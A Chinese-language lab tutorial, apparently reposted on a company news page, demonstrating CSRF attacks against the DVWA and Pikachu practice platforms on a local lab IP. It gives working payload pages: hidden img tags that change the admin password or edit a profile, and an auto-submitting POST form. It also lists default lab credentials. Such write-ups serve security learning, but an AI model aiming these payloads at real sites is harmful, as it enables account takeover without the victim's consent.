ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

CSRF

CSRF
  1. 基于DVWA的low级别实现CSRF攻击
    首先我们运行靶场来准备实验,难度级别调制low
    默认账号密码adminpassword
    来到CSRF输入新密码
    我们burp抓包可以看到GET /vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change密码直接在GET请求里
    图片
    把URL中的密码改成123放包,可以看到成功了
    图片
    接下来验证一下,退出登录-->账号密码输入admin,123
    图片
    可以看到登录成功
    咱们在DVWA下csrf目录下中写一个a.html,内容是
点击查看代码
<img src="http://192.168.222.128:8088/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Chang" border=”0” style=”display:none;”/>
<h1>密码修改成功!<h1>

我们来访问一下图片
接下来验证一下,退出登录-->账号密码输入admin,password
图片
成功利用
2. Pikachu漏洞练习平台
(1).CSRF(get)
来到CSRF,点一下提示
图片
可以看到vince/allen/kobe/grady/kevin/lucy/lili这么多账号,密码全部是123456
我们随便登录一个allen
图片
看到可以修改个人信息点一下,burp抓包
图片
修改参数放包
图片
可以看到成功了
咱们在CSRF目录下写一个a.html,内容是

点击查看代码
<img src="http://192.168.222.128/vul/csrf/csrfget/csrf_get_edit.php?sex=hach&phonenum=hach!&add=hach!&email=hach!&submit=submit" border=”0” style=”display:none;”/>
<h1>参数修改成功!<h1>

访问这个页面图片
咱们在回到原来的登录页面
图片
可以看到成功利用
(2).CSRF(post)
登录luck,密码123456
图片
点一下修改个人信息,burp抓包
图片
不能像上面一样用GET修改,咱们在CSRF目录下写一个a.html,内容是

点击查看代码
<html>
<head>
<script>
window.onload = function() {document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.222.128/vul/csrf/csrfpost/csrf_post_edit.php"><input id="sex" type="text" name="sex" value="God" /><input id="phonenum" type="text" name="phonenum" value="BJernsen" /><input id="add" type="text" name="add" value="I'm hacker" /><input id="email" type="text" name="email" value="BJernsen@pikachu.com" /><input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

然后访问a.html
图片
可以看到修改成功

返回列表